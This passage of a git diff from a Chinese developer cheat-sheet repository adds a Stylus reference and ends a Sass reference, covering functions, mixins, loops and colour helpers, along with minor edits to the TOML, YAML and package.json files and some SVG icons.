||||
```
|
||||
|
||||
```scss
|
||||
adjust-hue($color, 15deg)
|
||||
complement($color) // like adjust-hue(_, 180deg)
|
||||
invert($color)
|
||||
```
|
||||
|
||||
```scss
|
||||
fade-in($color, .5) // aka opacify()
|
||||
fade-out($color, .5) // aka transparentize()
|
||||
rgba($color, .5) // sets alpha to .5
|
||||
```
|
||||
|
||||
### 获取值
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
#### HSLA
|
||||
|
||||
```scss
|
||||
hue($color) // 0deg..360deg
|
||||
saturation($color) // 0%..100%
|
||||
lightness($color) // 0%..100%
|
||||
alpha($color) // 0..1 (aka opacity())
|
||||
```
|
||||
|
||||
#### RGB
|
||||
|
||||
```scss
|
||||
red($color) // 0..255
|
||||
green($color)
|
||||
blue($color)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`color.red()` | 用于获取颜色的红色通道
|
||||
`color.green()` | 用于获得颜色的绿色通道
|
||||
`color.blue()` | 用于获取颜色的蓝色通道
|
||||
`color.hue()` | 以获得颜色的色调
|
||||
`color.saturation()` | 用于获得颜色的饱和度
|
||||
`color.lightness()` | 以获得颜色的亮度
|
||||
|
||||
另见: [hue()](http://sass-lang.com/documentation/Sass/Script/Functions.html#hue-instance_method), [red()](http://sass-lang.com/documentation/Sass/Script/Functions.html#red-instance_method)
|
||||
|
||||
### Sass 内置了对颜色值的支持
|
||||
|
||||
```scss
|
||||
@debug rgb(204, 102, 153); // #c69
|
||||
@debug rgba(107, 113, 127, 0.8); // rgba(107, 113, 127, 0.8)
|
||||
@debug hsl(228, 7%, 86%); // #dadbdf
|
||||
@debug hsla(20, 20%, 85%, 0.7); // rgb(225, 215, 210, 0.7)
|
||||
```
|
||||
|
||||
### 调整
|
||||
|
||||
```scss
|
||||
// 固定金额变动
|
||||
adjust-color($color, $blue: 5)
|
||||
adjust-color($color, $lightness: -30%) // darken(_, 30%)
|
||||
adjust-color($color, $alpha: -0.4) // fade-out(_, .4)
|
||||
adjust-color($color, $hue: 30deg) // adjust-hue(_, 15deg)
|
||||
// 通过百分比变化
|
||||
scale-color($color, $lightness: 50%)
|
||||
// 完全改变一个属性
|
||||
change-color($color, $hue: 180deg)
|
||||
change-color($color, $blue: 250)
|
||||
```
|
||||
|
||||
支持的: `$red`, `$green`, `$blue`, `$hue`, `$saturation`, `$lightness`, `$alpha`
|
||||
|
||||
Sass 其他函数
|
||||
--------
|
||||
|
||||
### 字符串
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
unquote('hello')
|
||||
quote(bold); // "bold"
|
||||
```
|
||||
|
||||
```scss
|
||||
to-upper-case(hello)
|
||||
to-lower-case(hello)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
str-length(hello world)
|
||||
// "ello" - 它是从 1 开始的，而不是从 0 开始的
|
||||
str-slice(hello, 2, 5)
|
||||
str-insert("abcd", "X", 1) // "Xabcd"
|
||||
```
|
||||
|
||||
### Numbers
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
floor(4.2) // 4
|
||||
ceil(4.2) // 5
|
||||
round(4.2) // 4
|
||||
abs(-10px) // 10px
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
min(1px, 4px) // 1px
|
||||
$widths: 50px, 30px, 100px
|
||||
@debug math.min($widths...) // 30px
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
percentage(.5) // 50%
|
||||
random(3) // 0..3
|
||||
```
|
||||
|
||||
### Units
|
||||
|
||||
```scss
|
||||
unit(3em) // 'em'
|
||||
unitless(100px) // false
|
||||
```
|
||||
|
||||
### Units
|
||||
|
||||
```scss
|
||||
unit(3em) // 'em'
|
||||
unitless(100px) // false
|
||||
```
|
||||
|
||||
### Misc
|
||||
|
||||
```scss
|
||||
// 检查 $red
|
||||
variable-exists(red)
|
||||
// 检查@mixin red-text
|
||||
mixin-exists(red-text)
|
||||
function-exists(redify)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
global-variable-exists(red)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
// .menu li a
|
||||
selector-append('.menu', 'li', 'a')
|
||||
// .menu:hover li
|
||||
selector-nest('.menu', '&:hover li')
|
||||
selector-extend(...)
|
||||
selector-parse(...)
|
||||
selector-replace(...)
|
||||
selector-unify(...)
|
||||
```
|
||||
|
||||
Sass 功能检查
|
||||
--------
|
||||
<!--rehype:body-class=cols-2-->
|
||||
|
||||
### 功能检查
|
||||
|
||||
```scss
|
||||
meta.feature-exists($feature)
|
||||
feature-exists($feature) //=> boolean
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```scss
|
||||
@mixin debug-content-exists {
|
||||
@debug meta.content-exists();
|
||||
@content;
|
||||
}
|
||||
|
||||
@include debug-content-exists; // false
|
||||
@include debug-content-exists { // true
|
||||
// Content!
|
||||
}
|
||||
```
|
||||
|
||||
### 功能
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`global-variable-shadowing` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着局部变量将隐藏全局变量，除非它具有 `!global` 标志
|
||||
`extend-selector-pseudoclass` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着 `@extend` 规则将影响嵌套在伪类中的选择器，如 `:not()`
|
||||
`units-level-3` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着单位算术支持在 CSS 值和单位级别 3 中定义的单位
|
||||
`at-error` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着支持 `@error` 规则
|
||||
`custom-property` [#](https://sass-lang.com/documentation/modules/meta#feature-exists) | 这意味着自定义属性声明值不支持除插值之外的任何表达式
|
||||
<!--rehype:className=style-list-arrow-->
|
||||
|
||||
Sass 循环
|
||||
--------
|
||||
|
||||
### For 循环
|
||||
|
||||
```scss
|
||||
$base-color: #036;
|
||||
|
||||
@for $i from 1 through 3 {
|
||||
ul:nth-child(3n + #{$i}) {
|
||||
background-color: lighten($base-color, $i * 5%);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
ul:nth-child(3n + 1) {
|
||||
background-color: #004080;
|
||||
}
|
||||
|
||||
ul:nth-child(3n + 2) {
|
||||
background-color: #004d99;
|
||||
}
|
||||
|
||||
ul:nth-child(3n + 3) {
|
||||
background-color: #0059b3;
|
||||
}
|
||||
```
|
||||
|
||||
### Each 循环（简单）
|
||||
|
||||
```scss
|
||||
$sizes: 40px, 50px;
|
||||
|
||||
@each $size in $sizes {
|
||||
.icon-#{$size} {
|
||||
font-size: $size;
|
||||
height: $size;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
.icon-40px {
|
||||
font-size: 40px;
|
||||
height: 40px;
|
||||
}
|
||||
|
||||
.icon-50px {
|
||||
font-size: 50px;
|
||||
height: 50px;
|
||||
}
|
||||
```
|
||||
|
||||
### Each 循环（嵌套）
|
||||
|
||||
```scss
|
||||
$icons: ("eye": "\f112", "start": "\f12e");
|
||||
|
||||
@each $name, $glyph in $icons {
|
||||
.icon-#{$name}:before {
|
||||
display: inline-block;
|
||||
font-family: "Icon Font";
|
||||
content: $glyph;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
.icon-eye:before {
|
||||
display: inline-block;
|
||||
font-family: "Icon Font";
|
||||
content: "";
|
||||
}
|
||||
.icon-start:before {
|
||||
display: inline-block;
|
||||
font-family: "Icon Font";
|
||||
content: "";
|
||||
}
|
||||
```
|
||||
|
||||
### While 循环
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```scss
|
||||
@use "sass:math";
|
||||
|
||||
/// 将 `$value` 除以 `$ratio` 直到它低于 `$base`
|
||||
@function scale-below($value, $base, $ratio: 1.618) {
|
||||
@while $value > $base {
|
||||
$value: math.div($value, $ratio);
|
||||
}
|
||||
@return $value;
|
||||
}
|
||||
|
||||
$normal-font-size: 16px;
|
||||
sup {
|
||||
font-size: scale-below(20px, 16px);
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
sup {
|
||||
font-size: 12.36094px;
|
||||
}
|
||||
```
|
||||
|
||||
Sass 其它功能
|
||||
--------
|
||||
|
||||
### 条件句
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```scss
|
||||
@mixin avatar($size, $circle: false) {
|
||||
width: $size;
|
||||
height: $size;
|
||||
|
||||
@if $circle {
|
||||
border-radius: $size / 2;
|
||||
}
|
||||
}
|
||||
|
||||
.square-av {
|
||||
@include avatar(100px, $circle: false);
|
||||
}
|
||||
.circle-av {
|
||||
@include avatar(100px, $circle: true);
|
||||
}
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
.square-av {
|
||||
width: 100px;
|
||||
height: 100px;
|
||||
}
|
||||
|
||||
.circle-av {
|
||||
width: 100px;
|
||||
height: 100px;
|
||||
border-radius: 50px;
|
||||
}
|
||||
```
|
||||
|
||||
### 插值
|
||||
|
||||
```scss
|
||||
.#{$klass} { ... } // Class
|
||||
call($function-name) // Functions
|
||||
@media #{$tablet}
|
||||
font: #{$size}/#{$line-height}
|
||||
url("#{$background}.jpg")
|
||||
```
|
||||
|
||||
### 列表
|
||||
|
||||
```scss
|
||||
$list: (a b c);
|
||||
nth($list, 1) // starts with 1
|
||||
length($list)
|
||||
@each $item in $list { ... }
|
||||
```
|
||||
|
||||
### Maps
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```scss
|
||||
$map: (key1: value1, key2: value2, key3: value3);
|
||||
map-get($map, key1)
|
||||
```
|
||||
|
||||
另见
|
||||
----
|
||||
|
||||
- [Sass 官方文档](https://sass-lang.com/documentation) _(sass-lang.com)_
|
||||
- [Sass 中文文档](https://www.sass.hk/docs/) _(sass.hk)_
|
||||
557
docs/stylus.md
Normal file
557
docs/stylus.md
Normal file
@ -0,0 +1,557 @@
|
||||
Stylus 备忘清单
|
||||
===
|
||||
|
||||
本备忘单旨在快速理解 [stylus](https://github.com/stylus/stylus) 所涉及的主要概念，显示了它的常用方法使用清单。
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### 介绍
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
为 Node.js 构建的富有表现力、健壮、功能丰富的 [CSS](./css.md) 语言
|
||||
|
||||
- [CSS 备忘清单](./css.md) _(jaywcjlove.github.io)_
|
||||
- [在线编译预览](https://stylus-lang.com/try.html) _(stylus-lang.com)_
|
||||
|
||||
```bash
|
||||
# npm
|
||||
$ npm install stylus -g
|
||||
# pnpm
|
||||
$ pnpm add -g stylus
|
||||
```
|
||||
|
||||
在 Node.js 环境中使用 `stylus`
|
||||
|
||||
```bash
|
||||
$ stylus one.styl two.styl
|
||||
# stylus 从标准输入读取并输出到标准输出
|
||||
$ stylus --compress < some.styl > some.css
|
||||
# 将 css 目录中的文件编译输出到 `public/css`
|
||||
$ stylus css --out public/css
|
||||
```
|
||||
|
||||
转换 CSS，输出 `*.styl` 文件
|
||||
|
||||
```
|
||||
$ stylus --css < test.css > test.styl
|
||||
$ stylus --css test.css /tmp/out.styl
|
||||
```
|
||||
|
||||
### 支持 CSS 嵌套语法
|
||||
|
||||
```stylus
|
||||
.box {
|
||||
color: blue;
|
||||
.button {
|
||||
color: red;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Stylus 是一个 CSS 预处理器。另见: [stylus-lang.com](http://stylus-lang.com/)
|
||||
|
||||
### 支持类 python 缩进语法
|
||||
|
||||
```stylus
|
||||
.box
|
||||
color: blue
|
||||
.button
|
||||
color: red
|
||||
```
|
||||
|
||||
也有效！冒号也是可选的。这通常用于 Stylus 文档的语法
|
||||
|
||||
### 混合 Mixins
|
||||
|
||||
```stylus
|
||||
caps-type()
|
||||
letter-spacing: 0.05em
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {2}
|
||||
h5
|
||||
caps-type()
|
||||
```
|
||||
|
||||
编译 css 为：
|
||||
|
||||
```css
|
||||
h5 {
|
||||
letter-spacing: 0.05em;
|
||||
}
|
||||
```
|
||||
|
||||
另见：下面[Mixins](#混合-Mixins)
|
||||
|
||||
### 变量 Variables
|
||||
|
||||
```stylus
|
||||
royal-blue = #36a
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
div
|
||||
color: royal-blue
|
||||
```
|
||||
|
||||
标识符（变量名、函数等）也可以包括 `$` 字符
|
||||
|
||||
```stylus
|
||||
$font-size = 14px
|
||||
body {
|
||||
font: $font-size sans-serif;
|
||||
}
|
||||
```
|
||||
|
||||
另见：[变量 Variables](https://stylus-lang.com/docs/variables.html)
|
||||
|
||||
混合 Mixins
|
||||
------
|
||||
|
||||
### 没有参数
|
||||
|
||||
```stylus {1}
|
||||
red-border()
|
||||
border: solid 2px red
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {2}
|
||||
div
|
||||
red-border()
|
||||
```
|
||||
|
||||
另见: [Mixins](http://stylus-lang.com/docs/mixins.html)
|
||||
|
||||
### 有参数
|
||||
|
||||
```stylus {1}
|
||||
border-radius(n)
|
||||
-webkit-border-radius: n
|
||||
border-radius: n
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {2,3}
|
||||
div
|
||||
border-radius: 2px
|
||||
border-radius(2px)
|
||||
```
|
||||
|
||||
Mixins can be applied in two different ways.
|
||||
|
||||
### 参数默认值
|
||||
|
||||
```stylus {1}
|
||||
border-radius(n = 2px)
|
||||
-webkit-border-radius: n
|
||||
```
|
||||
|
||||
### 块混合
|
||||
|
||||
```stylus {3}
|
||||
mobile()
|
||||
@media (max-width: 480px)
|
||||
{block}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {1}
|
||||
+mobile()
|
||||
width: 10px
|
||||
```
|
||||
|
||||
另见: [块混合](http://stylus-lang.com/docs/mixins.html#block-mixins)
|
||||
|
||||
### Rest 参数
|
||||
|
||||
```stylus {1}
|
||||
shadow(offset-x, args...)
|
||||
box-shadow: offset-x args
|
||||
margin-top: offset-x
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
#login
|
||||
shadow: 1px 2px 5px #eee
|
||||
```
|
||||
|
||||
另见: [Rest 参数](http://stylus-lang.com/docs/vargs.html)
|
||||
|
||||
函数 Functions
|
||||
---------
|
||||
|
||||
### 函数 Functions
|
||||
|
||||
```stylus {1}
|
||||
add(a, b)
|
||||
a + b
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {2}
|
||||
body
|
||||
padding: add(10px, 5)
|
||||
```
|
||||
|
||||
另见: [Functions](http://stylus-lang.com/docs/functions.html)
|
||||
|
||||
### 参数默认值
|
||||
|
||||
```stylus {1}
|
||||
add(a, b = 2)
|
||||
a + b
|
||||
```
|
||||
|
||||
另见: [参数默认值](http://stylus-lang.com/docs/functions.html#argument-defaults)
|
||||
|
||||
### 命名参数
|
||||
|
||||
```stylus
|
||||
shadow(x, y)
|
||||
x y (y * 1.5) #000
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {2}
|
||||
.button
|
||||
box-shadow: shadow(x: 2, y: 4)
|
||||
```
|
||||
|
||||
另见: [命名参数](http://stylus-lang.com/docs/functions.html#named-parameters)
|
||||
|
||||
### 多个返回值
|
||||
|
||||
```stylus {2}
|
||||
sizes()
|
||||
8px 16px
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
sizes()[0] // → 8px
|
||||
sizes()[1] // → 16px
|
||||
```
|
||||
|
||||
另见: [多个返回值](http://stylus-lang.com/docs/functions.html#multiple-return-values)
|
||||
|
||||
### arguments
|
||||
|
||||
```stylus
|
||||
sum()
|
||||
n = 0
|
||||
for num in arguments
|
||||
n = n + num
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
sum(1,2,3,4,5) // => 15
|
||||
```
|
||||
|
||||
参数 local 可用于所有函数体，并包含所有传递的参数
|
||||
|
||||
### hash 示例
|
||||
|
||||
```stylus
|
||||
get(hash, key)
|
||||
return pair[1] if pair[0] == key for pair in hash
|
||||
|
||||
hash = (one 1) (two 2) (three 3)
|
||||
|
||||
get(hash, two)
|
||||
// => 2
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
值 Values
|
||||
------
|
||||
|
||||
### 条件赋值
|
||||
|
||||
```stylus {2}
|
||||
royal-blue = #36a
|
||||
royal-blue ?= #89f
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
div
|
||||
color: royal-blue // #36a
|
||||
```
|
||||
|
||||
`?=` 只会在之前未设置的情况下设置变量
|
||||
|
||||
另见: [条件赋值](https://stylus-lang.com/docs/operators.html#conditional-assignment--)
|
||||
|
||||
### 属性查找
|
||||
|
||||
```stylus {2,3}
|
||||
.logo
|
||||
width: w = 150
|
||||
margin-left: -(w / 2)
|
||||
// or
|
||||
height: 80px
|
||||
margin-top: -(@height / 2)
|
||||
```
|
||||
|
||||
另见: [属性查找](https://stylus-lang.com/docs/variables.html#property-lookup)
|
||||
|
||||
### 插值
|
||||
|
||||
```stylus
|
||||
-{prefix}-border-radius: 2px
|
||||
```
|
||||
|
||||
另见: [Interpolation](https://stylus-lang.com/docs/interpolation.html)
|
||||
|
||||
### Color operators
|
||||
|
||||
```stylus
|
||||
#888 + 50% // → #c3c3c3 (lighten)
|
||||
#888 - 50% // → #444 (darken)
|
||||
#f00 + 50deg // → #ffd500 (hue)
|
||||
```
|
||||
|
||||
### Casting
|
||||
|
||||
```stylus
|
||||
n = 5px
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus {1,2}
|
||||
foo: (n)em
|
||||
foo: (n * 5)%
|
||||
```
|
||||
|
||||
### Lookup
|
||||
|
||||
```stylus {3}
|
||||
light-blue = #3bd
|
||||
name = 'blue'
|
||||
lookup('light-' + name)
|
||||
```
|
||||
|
||||
另见: [lookup](https://stylus-lang.com/docs/bifs.html#lookupname)
|
||||
|
||||
高级功能
|
||||
-----------------
|
||||
|
||||
### 有条件的
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```stylus
|
||||
if color == blue
|
||||
display: block
|
||||
else if true and true
|
||||
display: inline
|
||||
else if 'hey' is not 'bye'
|
||||
display: flex
|
||||
else
|
||||
display: none
|
||||
```
|
||||
|
||||
别名:
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
| `==` | `is` |
|
||||
| `!=` | `is not` |
|
||||
| `!=` | `isnt` |
|
||||
|
||||
另见: [Conditionals](https://stylus-lang.com/docs/functions.html#conditionals)
|
||||
|
||||
### 对于循环
|
||||
|
||||
```stylus {5}
|
||||
font-size-1 = 10px
|
||||
font-size-2 = 20px
|
||||
font-size-3 = 30px
|
||||
for i in 1..3
|
||||
.text-{i}
|
||||
font-size: lookup('font-size-' + i)
|
||||
```
|
||||
### 定义检查
|
||||
|
||||
```stylus {1}
|
||||
if ohnoes is defined
|
||||
color: blue
|
||||
```
|
||||
|
||||
另见: [is defined](https://stylus-lang.com/docs/operators.html#variable-definition-is-defined)
|
||||
|
||||
### False 值
|
||||
|
||||
```stylus
|
||||
0
|
||||
null
|
||||
false
|
||||
''
|
||||
```
|
||||
|
||||
### 类型检查
|
||||
|
||||
```stylus
|
||||
if val is a 'string'
|
||||
if val is a 'ident'
|
||||
if #fff is a 'rgba' // → true
|
||||
```
|
||||
|
||||
另见: [Instance check](https://stylus-lang.com/docs/operators.html#instance-check-is-a)
|
||||
|
||||
内置函数
|
||||
------------------
|
||||
|
||||
### 颜色函数
|
||||
<!--rehype:wrap-class=row-span-4-->
|
||||
|
||||
```stylus
|
||||
alpha(#fff) //→ 1
|
||||
alpha(rgba(0, 0, 0, 0.2)) //→ 0.2
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
dark(black) //→ true
|
||||
light(black) //→ false
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
hue(#0a0) //→ 50deg
|
||||
saturation(#f00) //→ 100%
|
||||
lightness(#f00) //→ 50%
|
||||
luminosity(#f00) //→ 0.2126
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
hue(#0a0, 0deg)
|
||||
saturation(#f00, 50%)
|
||||
lightness(#f00)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
lighten(color, 10%)
|
||||
darken(color, 10%)
|
||||
saturate(color, 10%)
|
||||
desaturate(color, 10%)
|
||||
invert(color)
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
tint(color, 50%) // mix with white
|
||||
shade(color, 50%) // mix with black
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
unquote(string)
|
||||
```
|
||||
|
||||
另见: [Built-in functions](http://stylus-lang.com/docs/bifs.html)
|
||||
|
||||
### 图片尺寸
|
||||
|
||||
返回给定图像的宽度和高度
|
||||
|
||||
```stylus
|
||||
width: image-size('tux.png')[0]
|
||||
height: image-size('tux.png')[1]
|
||||
```
|
||||
|
||||
另见: [image-size](http://stylus-lang.com/docs/bifs.html#image-sizepath)
|
||||
|
||||
### 缓存 Caching
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```stylus
|
||||
size($width)
|
||||
+cache('w' + $width)
|
||||
width: $width
|
||||
.a { size: 10px }
|
||||
.b { size: 10px }
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
// 输出: .a, b { width: 10px }
|
||||
```
|
||||
|
||||
在第一次调用时将其内容应用于给定的选择器，但会在第二次调用时使用相同的参数 `@extend` 第一次调用的选择器。另见: [cache](http://stylus-lang.com/docs/bifs.html#cachekeys)
|
||||
|
||||
### Embed URL
|
||||
|
||||
```
|
||||
background: embedurl('logo.png')
|
||||
// → background: url("data:image/png;base64,…")
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
另见: [embedurl](http://stylus-lang.com/docs/bifs.html#embedurlpath-encoding)
|
||||
|
||||
### 添加属性
|
||||
|
||||
```stylus
|
||||
gradient(color)
|
||||
add-property('background-image', linear-gradient(top, color, darken(color, 20%)))
|
||||
color
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
body
|
||||
background: gradient(red)
|
||||
```
|
||||
|
||||
另见: [add-property](http://stylus-lang.com/docs/bifs.html#add-propertyname-expr)
|
||||
|
||||
### sprintf
|
||||
|
||||
```stylus
|
||||
'-webkit-gradient(%s, %s, %s)' % (linear (0 0) (0 100%))
|
||||
// → -webkit-gradient(linear, 0 0, 0 100%)
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
----
|
||||
|
||||
```stylus
|
||||
s("rgba(0, 0, 0, %s)", 0.3)
|
||||
```
|
||||
|
||||
另见: [s](http://stylus-lang.com/docs/bifs.html#sfmt-)
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [CSS 备忘清单](./css.md) _(jaywcjlove.github.io)_
|
||||
- [在线编译预览](https://stylus-lang.com/try.html) _(stylus-lang.com)_
|
||||
- [Less.js 备忘清单](./lessjs.md) _(jaywcjlove.github.io)_
|
||||
1209
docs/swiftui.md
Normal file
1209
docs/swiftui.md
Normal file
File diff suppressed because it is too large
Load Diff
12
docs/toml.md
12
docs/toml.md
@ -12,6 +12,7 @@ TOML 备忘清单
|
||||
|
||||
- [Document](https://toml.io/en/latest) _(toml.io)_
|
||||
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/toml/) _(learnxinyminutes.com)_
|
||||
- [Better TOML VSCode 插件](https://marketplace.visualstudio.com/items?itemName=bungcip.better-toml) _(visualstudio.com)_
|
||||
|
||||
### 示例
|
||||
|
||||
@ -254,3 +255,14 @@ name = { first = "Tom", last = "Preston-Werner" }
|
||||
point = { x = 1, y = 2 }
|
||||
animal = { type.name = "pug" }
|
||||
```
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [Document](https://toml.io/en/latest) _(toml.io)_
|
||||
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/toml/) _(learnxinyminutes.com)_
|
||||
- [Better TOML VSCode 插件](https://marketplace.visualstudio.com/items?itemName=bungcip.better-toml) _(visualstudio.com)_
|
||||
|
||||
|
||||
- [INI 格式配置文件备忘清单](./ini.md) _(jaywcjlove.github.io)_
|
||||
- [YAML 格式配置文件备忘清单](./yaml.md) _(jaywcjlove.github.io)_
|
||||
10
docs/yaml.md
10
docs/yaml.md
@ -426,9 +426,9 @@ YAML 参考
|
||||
`"` | 环绕内嵌转义标量
|
||||
`|` | 块标量指示器
|
||||
`>` | 折叠标量指示器
|
||||
`-` | 剥离 chomp 修饰符（`|-` 或 `>-`）
|
||||
`+` | 保留 chomp 修饰符（`|+` 或 `>+`）
|
||||
`1-9` | 显式缩进修饰符（`|1` 或 `>2`）。 <br/> 修饰符可以组合（`|2-`, `>+1`）
|
||||
`-` | 剥离 chomp 修饰符（`\|-` 或 `>-`）
|
||||
`+` | 保留 chomp 修饰符（`\|+` 或 `>+`）
|
||||
`1-9` | 显式缩进修饰符（`\|1` 或 `>2`）。 <br/> 修饰符可以组合（`\|2-`, `>+1`）
|
||||
|
||||
### 标签属性（通常未指定）
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
@ -441,6 +441,7 @@ YAML 参考
|
||||
`!!foo` | 次要的（按照惯例，表示 `tag:yaml.org,2002:foo`）
|
||||
`!h!foo` | 需要 `%TAG !h! <prefix>`（然后表示 `<prefix>foo`）
|
||||
`!<foo>` | 逐字标记（始终表示“foo”）
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
### 杂项指标
|
||||
|
||||
@ -515,6 +516,7 @@ YAML 参考
|
||||
| `[.inf, -.Inf, .NAN]` | [无穷大（浮点数），负数，不是数字] |
|
||||
| `{Y, true, Yes, ON}` | 布尔真 |
|
||||
| `{n, FALSE, No, off}` | 布尔假 |
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
另见
|
||||
---
|
||||
@ -522,3 +524,5 @@ YAML 参考
|
||||
- [YAML Reference Card](https://yaml.org/refcard.html) _(yaml.org)_
|
||||
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/yaml/) _(learnxinyminutes.com)_
|
||||
- [YAML lint online](http://www.yamllint.com/) _(yamllint.com)_
|
||||
- [INI 格式配置文件备忘清单](./ini.md) _(jaywcjlove.github.io)_
|
||||
- [TOML 格式配置文件备忘清单](./toml.md) _(jaywcjlove.github.io)_
|
||||
@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "@wcj/reference",
|
||||
"version": "1.6.0",
|
||||
"version": "1.10.0",
|
||||
"description": "为开发人员分享快速参考备忘单(主要是方便自己)。",
|
||||
"author": "jaywcjlove",
|
||||
"license": "MIT",
|
||||
@ -12,14 +12,14 @@
|
||||
},
|
||||
"repository": {
|
||||
"type": "git",
|
||||
"url": "git+https://github.com/jaywcjlove/reference.git"
|
||||
"url": "https://github.com/jaywcjlove/reference.git"
|
||||
},
|
||||
"bugs": {
|
||||
"url": "https://github.com/jaywcjlove/reference/issues"
|
||||
},
|
||||
"keywords": [],
|
||||
"devDependencies": {
|
||||
"@wcj/markdown-to-html": "^2.1.0",
|
||||
"@wcj/markdown-to-html": "^2.1.1",
|
||||
"chokidar": "^3.5.3",
|
||||
"fs-extra": "^10.1.0",
|
||||
"recursive-readdir-files": "^2.3.0",
|
||||
|
||||
3
scripts/assets/colors-named.svg
Normal file
3
scripts/assets/colors-named.svg
Normal file
@ -0,0 +1,3 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em" viewBox="0 0 24 24">
|
||||
<path d="M19.54 5.08A10.61 10.61 0 0 0 11.91 2a10 10 0 0 0-.05 20 2.58 2.58 0 0 0 2.53-1.89 2.52 2.52 0 0 0-.57-2.28.5.5 0 0 1 .37-.83h1.65A6.15 6.15 0 0 0 22 11.33a8.48 8.48 0 0 0-2.46-6.25Zm-12.7 9.66a1.5 1.5 0 1 1 .4-2.08 1.49 1.49 0 0 1-.4 2.08ZM8.3 9.25a1.5 1.5 0 1 1-.55-2 1.5 1.5 0 0 1 .55 2ZM11 7a1.5 1.5 0 1 1 1.5-1.5A1.5 1.5 0 0 1 11 7Zm5.75.8a1.5 1.5 0 1 1 .55-2 1.5 1.5 0 0 1-.55 2Z" style="fill:#231f20" id="color-palette-2"/>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 555 B |
2
scripts/assets/lessjs.svg
Normal file
2
scripts/assets/lessjs.svg
Normal file
@ -0,0 +1,2 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em" viewBox="0 0 210 90">
|
||||
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scripts/assets/stylus.svg
Normal file
@ -0,0 +1,3 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em" viewBox="0 0 64 64">
|
||||
